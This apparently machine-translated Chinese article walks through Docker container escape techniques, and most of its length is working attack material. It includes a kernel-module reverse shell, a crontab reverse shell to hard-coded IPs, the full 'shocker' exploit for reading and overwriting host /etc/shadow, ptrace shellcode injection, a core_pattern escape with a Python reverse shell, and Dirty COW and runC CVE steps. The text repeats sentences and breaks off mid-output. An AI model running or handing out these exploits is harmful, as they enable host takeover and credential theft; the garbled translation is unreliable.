概括
所提供的网站内容深入探讨了逃离 Docker 容器的高级技术,包括常见的错误配置、CVE 漏洞和进程注入,以及详细的示例和漏洞代码。
抽象的
该网站深入探讨了与 Docker 容器化相关的安全挑战,强调了由于配置错误和漏洞导致容器逃逸的潜在风险。它概述了错误配置的综合列表,例如SYS_MODULE滥用、SYS_ADMIN滥用、特权容器、安装 Docker 套接字和DAC_READ_SEARCH滥用等。本文还介绍了 CVE 目录,包括臭名昭著的“Dirty Cow”(CVE-2016-5195),可以利用它来获取未经授权的访问或在主机系统内提升权限。内容提供了实际示例和漏洞代码,以说明攻击者如何利用这些漏洞逃离容器边界并破坏主机。此外,它还讨论了进程注入作为在主机内存空间内执行任意代码的方法的危险性。该网站是网络安全专业人员了解和减轻与 Docker 容器逃逸相关的风险的资源。
观点
-
作者表达了对在 Docker 环境中采取适当配置和安全措施以防止容器逃逸的紧迫感。
-
本文的基本假设是读者具有技术背景,因为内容包括详细的漏洞代码,并假设读者熟悉 Linux 系统调用和 Docker 功能。
-
该网站表示,尽管集装箱化有诸多好处,但安全性也不容忽视,需要持续保持警惕以防范不断演变的威胁。
-
特定 CVE 及其相关漏洞的纳入表明,历史漏洞仍然存在,如果不加以妥善处理,可能会被用来危害系统。
-
作者可能认为,实际示例和代码片段是理解和防止与 Docker 容器相关的安全漏洞的有效教育工具。
-
内容暗示容器安全的责任不仅在于开发人员,还在于管理和监督 Docker 部署的运营商和安全团队。
突破:逃离 Docker 容器的 26 种高级技巧
探索 Docker 容器逃逸技术的复杂性。从错误配置到利用 CVE,了解如何保护您的容器免受最新安全漏洞的侵害。
软件开发和部署将容器化的应用推向了新的高度,简化了应用程序部署,并为我们管理和扩展应用程序的方式带来了范式转变。软件开发和部署将容器化的应用推向了新的高度,简化了应用程序部署,并为我们管理和扩展应用程序的方式带来了范式转变。
凭借其令人难以置信的优势,Docker 成为开发人员和企业的热门选择也就不足为奇了。它推动了容器化的采用,使其达到了新的高度,简化了应用程序部署,并为我们管理和扩展应用程序的方式带来了范式转变。
然而,需要注意的是,Docker 容器确实带来了安全挑战,尤其是容器逃逸的风险。但只要采取正确的预防措施和专业知识,这些挑战就可以轻松克服。
我们将涵盖从错误配置到 CVE 漏洞的所有内容,以便您可以对容器安全充满信心。准备好探索令人兴奋的 Docker 容器逃逸技术世界吧!
袭击事件概述
A. 导致逃逸的常见配置错误
-
SYS_MODULE Abuse
-
SYS_ADMIN Abuse
-
Privileged Container
-
Mounting Docker Socket
-
DAC_READ_SEARCH Abuse
-
DAC_OVERRIDE Abuse
-
Process Injection
-
Dangerous mounts under Kubernetes
-
Mount procfs
B. CVE
-
CVE-2016–5195 “Dirty cow”
-
CVE-2016–9962
-
CVE-2017–1000112
-
CVE-2017–1002101
-
CVE-2017–7308 (Ubuntu 16.04.6)
-
CVE-2018–15664
-
CVE-2018–18955
-
CVE-2019–14271
-
CVE-2019–5736
-
CVE-2020–14386
-
CVE-2020–15257
-
CVE-2021–22555
-
CVE-2022–0185
-
CVE-2022–0492
-
CVE-2022–0847 “Dirty Pipe”
-
CVE-2022–1227 (podman)
-
CVE-2024–21626
Docker 安全简介
从本质上讲,Docker 是一种旨在通过容器更轻松地创建、部署和运行应用程序的工具。容器允许开发人员将应用程序及其所需的所有部分(例如库和其他依赖项)打包在一起,并将其作为一个包发送出去。
Docker 在增强应用程序的可移植性和效率的同时,也带来了独特的安全挑战。容器在设计上是相互隔离的,并且与主机系统是隔离的,但它们并非坚不可摧。
Docker 容器的安全性至关重要,不仅为了其托管的应用程序的完整性,而且为了其内部运行的更广泛的生态系统。
了解容器逃逸
容器逃逸顾名思义就是:恶意代码或攻击者突破容器的限制,访问主机系统或其他容器的一种方法。
此类逃逸可能导致未经授权访问敏感数据、系统控制,并可能危及其他容器或整个系统。
容器逃逸的影响不可低估,因为它们会破坏容器环境的基础安全模型。
集装箱逃逸可以通过多种方式实现,但主要分为三类:
-
配置错误,
-
内核漏洞,
-
以及 CVE(通用漏洞和暴露)漏洞。
A. 导致逃逸的常见配置错误
Docker 设置中的错误配置往往是导致容器逃逸的致命弱点。
让我们深入研究一些最严重的错误配置:
1. SYS_MODULE 滥用
此功能允许加载或卸载内核模块。当容器在没有必要的情况下被赋予此类功能时,它为内核操纵和逃逸打开了通道。
当容器使用该cap_sys_module功能运行时,它可以将内核模块注入主机的运行时内核,因为隔离是在操作系统级别而不是内核/硬件级别,并且容器最终使用 Docker 运行时引擎与主机的内核进行交互。
您会注意到容器运行了附加cap_sys_module功能,当您使用默认参数启动容器时,该功能并未正确添加。
创建容器
$ docker run -it --cap-drop=ALL --cap-add=SYS_MODULE ubuntu:<主机操作系统版本> bash
$ docker run -it --cap-drop=ALL --cap-add=SYS_MODULE --cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER --cap-add=DAC_OVERRIDE ubuntu:<主机操作系统版本> bash
容器中的依赖项
apt install make
apt install -y vim # 或任何其他编辑器
apt install -y netcat
apt install -y gcc # 容器应使用与主机相同的操作系统版本运行。# 通过“uname -r”获取内核版本
version=$( uname -r)
apt install -y linux-headers- $version
apt install -y kmod
apt install net-tools
逃逸方法
# 获取容器的 IP 地址
ifconfig # 复制 revese-shell.c,并将代码中的 IP 地址更新为容器的 IP
vim reverse-shell.c # 复制 Makefile
vim Makefile
make
nc -lnvp 4444 & # 将模块注入内核宿主机
insmod reverse-shell.ko fg %<JOB-ID>
和:
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
和:
/*
来自: https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/linux-capabilities.md#cap_sys_module
*/
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exitingn");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
2. SYS_ADMIN 滥用
创建容器
$ sudo docker run -itd --rm --cap -drop=ALL --cap-add=SYS_ADMIN --security-opt apparmor=unconfined --device=/dev/:/ --name=admin ubuntu /bin/bash
发现host中的设备已经挂载到容器中
创建挂载文件夹
mkdir -p
选择设备挂载点/(sda2)
mount sda2 /aus
获取主机的文件
3. 特权容器
出处:https://zhuanlan.zhihu.com/p/614513965
特权模式逃逸是最简单有效的逃逸方法之一,当使用以特权模式启动的容器时,docker管理员可以通过mount命令在容器内部挂载外部主机磁盘设备,获得整个主机的读写权限,并通过切换根目录、chroot写入ssh公钥、crontab调度等方式直接逃逸到主机。
bash docker pull ubuntu docker run -itd - privileged ubuntu /bin/bash
确定您是否以特权模式启动,如果以特权模式启动则 CapEff 对应的掩码值应为 0000003fffffffff。
bash cat /proc/self/status |grep Ca
查看docker容器中的系统磁盘分区,并新建目录,将宿主机所在磁盘挂载到新目录下。
bash fdisk -l
mkdir -p /hacker
mount /dev/sda5 /hacker
首先nc在kali中使用listen,进入hacker目录,通过touch创建一个sh文件,然后往这个创建的sh文件中写入bash bounce命令,然后写入计划任务/hacker/etc/hacker。
touch /hacker/hacker.sh
echo "bash -i >& /dev/tcp/192.168.59.145/6666 0>&1" >/hacker/hacker.sh
echo "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab
4.安装Docker Socket
出处:https://zhuanlan.zhihu.com/p/614513965
Docker 套接字 ( /var/run/docker.sock) 通常会安装到容器中,以允许在容器内运行 Docker 命令。这种做法可被用来逃离容器,甚至创建具有升级权限的新容器。
当启动一个docker容器的时候,宿主机/var/run/docker.sock文件就被挂载到docker容器中,在docker容器中也可以操作宿主机上的docker。
Docker采用C/S架构,在我们平时使用的Docker命令中,docker是客户端,而服务端的角色则由docker daemon来扮演,两者之间通讯的方式有三种,使用以下命令来操作目标docker,使用docker命令,操作docker:
unix:///var/run/docker.sock tcp://主机:端口 fd://socketfd
使用构建漏洞容器
bash docker pull ubuntu:16.04
docker run - rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash
sudo docker exec -it mountsock /bin/bash
在容器内安装docker
bash apt-get update apt-get install docker.io
使用 sock 挂载主机目录
bash docker -H unix://var/run/docker.sock images
docker -H unix://var/run/docker.sock run -v /:/test -it ubuntu. 16.04 /bin/bash ls /test
5. DAC_READ_SEARCH 滥用
该DAC_READ_SEARCH函数允许绕过文件或目录的读取权限检查,并使用“ open_by_handle_at”系统调用读取它。
sudo docker run -itd --cap -drop=ALL --cap -add=DAC_READ_SEARCH --name=dac_read_search ubuntu bash
此系统调用允许遍历整个主机的文件系统。在此容器转义技术中,我们将使用“ open_by_handle_at”系统调用来执行从主机读取/etc/passwd和/etc/shadow 文件并将其内容保存在容器中的代码。
下面是该漏洞的 C 代码:
/* From https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/linux-capabilities.md#cap_dac_read_search
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char *msg)
{
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %sn", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%dn", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08xn", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]n"
"[***] The tea from the 90's kicks your sekurity again. [***]n"
"[***] If you have pending sec consulting, I'll happily [***]n"
"[***] forward to my friends who drink secury-tea too! [***]nn<enter>n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hosts", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!n");
dump_handle(&h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");
memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");
printf("Success!!n");
FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);
close(fd2); close(fd1);
return 0;
}
接下来,我们将使用“John the Ripper”密码破解器来获取主机用户的密码,该密码可用于与主机建立 SSH 连接。
gcc -o shocker shocker.c
# Use the shocker to read files
# from host:./shocker /host/path /container/path
./shocker /etc/passwd passwd
./shocker /etc/shadow shadow
6. DAC 覆盖
该DAC_OVERRIDE函数允许绕过读取、写入和执行权限检查。具有DAC_READ_SEARCH和DAC_OVERRIDE函数的容器可以在主机文件系统上读取和写入文件。
在这次逃脱中,我们将使用这些功能来更新主机上的用户凭据文件,然后使用更新后的凭据登录到主机。
在这个容器逃逸技术中,我们将提出两个选项:
-
通过覆盖主机上的 /etc/shadow和文件来更新用户的登录密码。/etc/passwd
-
~/.ssh/authorized_keys通过使用我们拥有其私钥的生成的 SSH 公钥覆盖主机上的文件来更新用户的 SSH 授权密钥。
docker run -it --cap -drop =ALL --cap -add=DAC_OVERRIDE --cap -add =DAC_READ_SEARCH --cap -add=CHOWN --cap -add=SETGID --cap -add =SETUID --cap -add =FOWNER ubuntu bash
您可以使用上述shocker.c漏洞和以下shocker_write.c漏洞:
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %sn", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%dn", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08xn", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]n"
"[***] The tea from the 90's kicks your sekurity again. [***]n"
"[***] If you have pending sec consulting, I'll happily [***]n"
"[***] forward to my friends who drink secury-tea too! [***]nn<enter>n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!n");
close(fd2);
close(fd1);
return 0;
}
那么漏洞利用如下:
# Copy and paste the shocker.c content
gcc -o read shocker.c
# Copy and paste the shocker_write.c content
gcc -o write shocker_write.c
# Use the ./read to read files from host: ./read /host/path /container/path
./read /etc/shadow shadow
./read /etc/passwd passwd
# Create new user and reset its password
useradd <USER-NAME>
echo '<USER-NAME>:<PASSWORD>' | chpasswd
# Update the new user details in the copied files from host
tail -1 /etc/passwd >> passwd
tail -1 /etc/shadow >> shadow
# Copy the new user password hash paste it also for the root user in the shadow file. This will allow us to elevate permissions on the host.
vim shadow
# Use the ./write to write files from host: ./write /host/path /container/path
./write /etc/passwd passwd
./write /etc/shadow shadow
# Connect to host over ssh using the new user (unprivileged)
ssh <USER>@<HOST-IP>
# Elevate privileges to root user with the new password
su
7. 进程注入
来自https://www.panoptica.app/research/7-ways-to-escape-a-container
进程注入允许一个进程写入另一个进程的内存空间并执行shellcode。
/*From https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c*/
/*
Mem Inject
Copyright (c) 2016 picoFlamingo
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <sys/reg.h>
#define SHELLCODE_SIZE 87
unsigned char *shellcode =
"x48x31xc0x48x31xd2x48x31xf6xffxc6x6ax29x58x6ax02x5fx0fx05x48x97x6ax02x66xc7x44x24x02x15xe0x54x5ex52x6ax31x58x6ax10x5ax0fx05x5ex6ax32x58x0fx05x6ax2bx58x0fx05x48x97x6ax03x5exffxcexb0x21x0fx05x75xf8xf7xe6x52x48xbbx2fx62x69x6ex2fx2fx73x68x53x48x8dx3cx24xb0x3bx0fx05";
int
inject_data (pid_t pid, unsigned char *src, void *dst, int len)
{
int i;
uint32_t *s = (uint32_t *) src;
uint32_t *d = (uint32_t *) dst;
for (i = 0; i < len; i+=4, s++, d++)
{
if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
{
perror ("ptrace(POKETEXT):");
return -1;
}
}
return 0;
}
int
main (int argc, char *argv[])
{
pid_t target;
struct user_regs_struct regs;
int syscall;
long dst;
if (argc != 2)
{
fprintf (stderr, "Usage:nt%s pidn", argv[0]);
exit (1);
}
target = atoi (argv[1]);
printf ("+ Tracing process %dn", target);
if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
{
perror ("ptrace(ATTACH):");
exit (1);
}
printf ("+ Waiting for process...n");
wait (NULL);
printf ("+ Getting Registersn");
if ((ptrace (PTRACE_GETREGS, target, NULL, ®s)) < 0)
{
perror ("ptrace(GETREGS):");
exit (1);
}
/* Inject code into current RPI position */
printf ("+ Injecting shell code at %pn", (void*)regs.rip);
inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);
regs.rip += 2;
printf ("+ Setting instruction pointer to %pn", (void*)regs.rip);
if ((ptrace (PTRACE_SETREGS, target, NULL, ®s)) < 0)
{
perror ("ptrace(GETREGS):");
exit (1);
}
printf ("+ Run it!n");
if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
{
perror ("ptrace(DETACH):");
exit (1);
}
return 0;
}
要将 shellcode 注入主机中的进程,容器必须具备两样东西:
-
容器的进程必须具有SYS_PTRACELinux 功能。
-
容器的主机必须与容器共享其进程命名空间。
docker run -it --pid=host --cap -drop =ALL --cap -add =SYS_PTRACE --cap -add =SETGID --cap -add =SETUID --cap -add=CHOWN --cap -add=FOWNER --cap -add = DAC_OVERRIDE --security-opt apparmor=unconfined ubuntu bash
-
最低要求的 Linux 功能:SYS_PTRACE。 -
该SYS_PTRACE函数允许执行“ ptrace”系统调用。 -
所需的容器设置:容器的主机应将其进程命名空间映射到容器。您可以通过lsns在主机和容器上运行“ ”命令来验证主机和容器之间共享哪些 Linux 命名空间。
# List process that runs on the host and container.
ps -eaf | grep "/usr/bin/python3 -m http.server 8080" | head -n 1
# Copy and paste the payload from inject.c
gcc -o inject inject.c
# Inject the shellcode payload that will open a listener over port 5600
./inject <PID>
# Bind over port 5600
nc <HOST-IP> 5600
kubelet 在/var/log主机上的目录中创建一个目录结构,如符号①所示,代表该节点上的 pod。但其实它是指向目录中容器日志文件的符号链接/var/lib/docker/containers 。
当我们使用the kubectl logs <pod-name> command查询指定 pod 的日志时,实际上是在向 kubelet 发出一个 HTTP 请求/logs/pods/<path_to_0.log> interface,这个请求的处理逻辑如下:
// kubernetespkgkubeletkubelet.go:1371
if kl.logServer == nil {
kl.logServer = http.StripPrefix("/logs/", http.FileServer(http.Dir("/var/log/")))
}
kubelet解析请求地址,进入对应的目录/var/log,读取日志文件,并返回。
当 pod/var/log以可写权限挂载主机上的目录时,就可以在该路径中创建到主机根目录的符号链接,然后构造包含该符号链接的恶意 kubelet 请求,该请求由主机解析并导致能够读取主机上的任意文件和目录。
然后从以下位置安装 metarget:
GitHub – Metarget/metarget:Metarget 是一个提供自动构建易受攻击的框架…… – https://github.com/Metarget/metarget/tree/master
Metarget 是一个提供易受攻击的基础设施自动构建的框架。- Metarget/metarget – https://github.com/Metarget/metarget/tree/master
github.com – https://github.com/Metarget/metarget/tree/master
环境设置(使用 metarget):
. /metarget gadget install docker --version 18.03.1 . /metarget gadget install k8s --version 1.16.5 --domestic
. /metarget cnv install mount-var-log
漏洞复制:
kubectl exec -it mount-var-log -n metarget bash
以下两个命令可以在Pod内执行。
lsh # equals ls on the host
cath # equals cat on the host
9. 挂载 procfs
来自:https://github.com/cdk-team/CDK/wiki/Exploit:-mount -procfs
另外:
https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-host-procfs
procfs是一个伪文件系统,它动态反映系统中进程和其他组件的状态,包括许多非常敏感和重要的文件。
因此,将主机挂载procfs到不受控制的容器中也是非常危险的,特别是在默认启用root权限并且未启用用户命名空间的情况下(Docker默认不为容器启用用户命名空间)。
一般来说我们不会把宿主机的挂载procfs到容器中,然而有些业务为了实现一些特殊需求,还是会挂载到文件系统中,procfs/proc/sys/kernel/core_pattern负责配置进程崩溃时的内存转储
in负责配置在进程崩溃时如何导出数据。从 2.6.19 内核版本开始,Linux 支持 的新语法,即如果行的第一个字符是管道字符/proc/sys/kernel/core_pattern,则该行的其余部分将被解释为用户空间程序或脚本并执行。procfs/proc/sys/kernel/core_pattern|
使用 metatarget 构建环境:
. /metarget gadget install docker --version 18.03.1 . /metarget gadget install k8s --version 1.16.5 --domestic . /metarget cnv install mount-host-procfs
利用:
kubectl exec -it -n metarget mount-host-procfs /bin/bash
在容器中,首先获取宿主机上当前容器的绝对路径:
$ root@mount-host-procfs:/# cat /proc/mounts | grep docker
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/ SDXPXVSYNB3RPWJYHAD5RIIIMO:/var/lib/docker/overlay2/l/QJFV62VKQFBRS5T5ZW4SEMZQC6:/var/lib/docker/overlay2/l/ SSCMLZUT23WUSPXAOVLGLRRP7W:/var/lib/docker/overlay2/l/IBTHKEVQBPDIYMRIVBSVOE2A6Y:/var/lib/docker/overlay2/l/ YYE5TPGYGPOWDNU7KP3JEWWSQM,upperdir=/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/diff ,workdir=/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/work 0 0
从workdir中我们可以获取到base path,结合背景知识我们可以看出当前容器在宿主机上合并后的目录的绝对路径如下:/var/lib/docker/overlay2/ 4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged
将以下内容写入/host-proc/sys/kernel/core_pattern容器内部:
echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py rcore " > /host- proc/sys/kernel/core_pattern
/tmp/.x.py然后在容器内部创建一个反弹shell ,注意需要写上攻击者的IP:
chmod +x /tmp/.x.py
和
import os
import pty
import socket
lhost = "attacker-ip"# Write to IP of listening machine
lport = 10000
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
最后,只需在容器内运行一个可能崩溃的程序,例如:
#include <stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
如果容器内没有编译器,可以先在另一台机器上编译,然后再放入容器内。
完成后,打开另一台机器上的 shell 监听:
ncat -lvnp 10000
然后在容器内部执行上面编译好的崩溃程序,即可获得反弹shell。
B. CVE
1. CVE-2016-5195 “脏牛”
看:
-
https://github.com/duowen1/Container-escape-exps/tree/main/CVE-2016-5195
-
https://brucetg.github.io/2018/05/27/DirtyCoW
-
https://xz.aliyun.com/t/7561
-
https://www.cnblogs.com/xiaozi/p/13370721.html
-
https://thinkycx.me/2019-05-20-CVE-2016-5195-dirtycow-recurrence.html
-
https://github.com/gbonacini/CVE-2016-5195
Linux 内核 2.x 到 4.x 4.8.3 之前的版本中,mm/gup.c 中的竞争条件允许本地用户通过对写时复制 (COW) 功能的错误处理来写入只读内存映射,从而获得特权,就像 2016 年 10 月在野外利用的漏洞一样,又称“Dirty COW”。
git clone https://github.com/scumjr/dirtycow-vdso.git
cd dirtycow-vdso && make
./0xdeadbeaf VPS-IP:PORT
2.CVE-2016-9962
CVE-2016-9962 是涉及 RunC 的安全漏洞。runC允许通过将其他容器进程跟踪到容器的 pid 1 runc exec。
这允许容器的主进程(如果以 root 身份运行)在进程完全放入容器内之前在初始化期间访问这些新进程的文件描述符。
这可能会导致容器逃离或者修改runC状态。
-
容器初始化,init进程执行
-
恶意容器在容器初始化期间对 init 进程执行 ptrace
-
ptrace 支持主机 fd 的副本
-
使用打开文件描述符读取/写入主机上的文件
# https://bugzilla.suse.com/show_bug.cgi?id=1012568#c2
% docker pull alpine
% docker create --name alpine alpine
% mkdir rootfs
% docker export alpine | tar xvfC - rootfs/
% runc spec
# Now you have a config.json and rootfs that you can use with runC.
# Here's what an unpached runC looks like
# (shell1 and shell2 are two different shell sessions in the same directory):
shell1% runc run ctr
shell2% runc exec ctr sh
# [ this will block for 500 seconds ]
shell1[ctr]$ ps aux
PID USER TIME COMMAND
1 root 0:00 sh
18 root 0:00 {runc:[2:INIT]} /proc/self/exe init
24 root 0:00 ps aux
shell1[ctr]$ ls /proc/18/fd -la
total 0
dr-x------ 2 root root 0 Nov 28 14:29 .
dr-xr-xr-x 9 root root 0 Nov 28 14:29 ..
lrwx------ 1 root root 64 Nov 28 14:29 0 -> /dev/pts/8
lrwx------ 1 root root 64 Nov 28 14:29 1 -> /dev/pts/8
lrwx------ 1 root root 64 Nov 28 14:29 2 -> /dev/pts/8
lrwx------ 1 root root 64 Nov 28 14:29 3 ->
socket:[2113990]
lr-x------ 1 root root 64 Nov 28 14:29 4 -> /run/runc/test
lrwx------ 1 root root 64 Nov 28 14:29 5 -> /dev/pts/8
l-wx------ 1 root root 64 Nov 28 14:29 6 -> /dev/null
shell1[ctr]$ ls -la /proc/18/fd/4/../../..
total 0
drwxr-xr-x 1 root root 166 Oct 16 14:59 .
drwxr-xr-x 1 root root 166 Oct 16 14:59 ..
drwxr-x--- 1 root root 46 Nov 27 10:37 .snapshots
drwxr-xr-x 1 root root 1872 Nov 25 09:22 bin
drwxr-xr-x 1 root root 552 Nov 25 09:46 boot
drwxr-xr-x 21 root root 4240 Nov 27 22:09 dev
drwxr-xr-x 1 root root 4958 Nov 28 14:28 etc
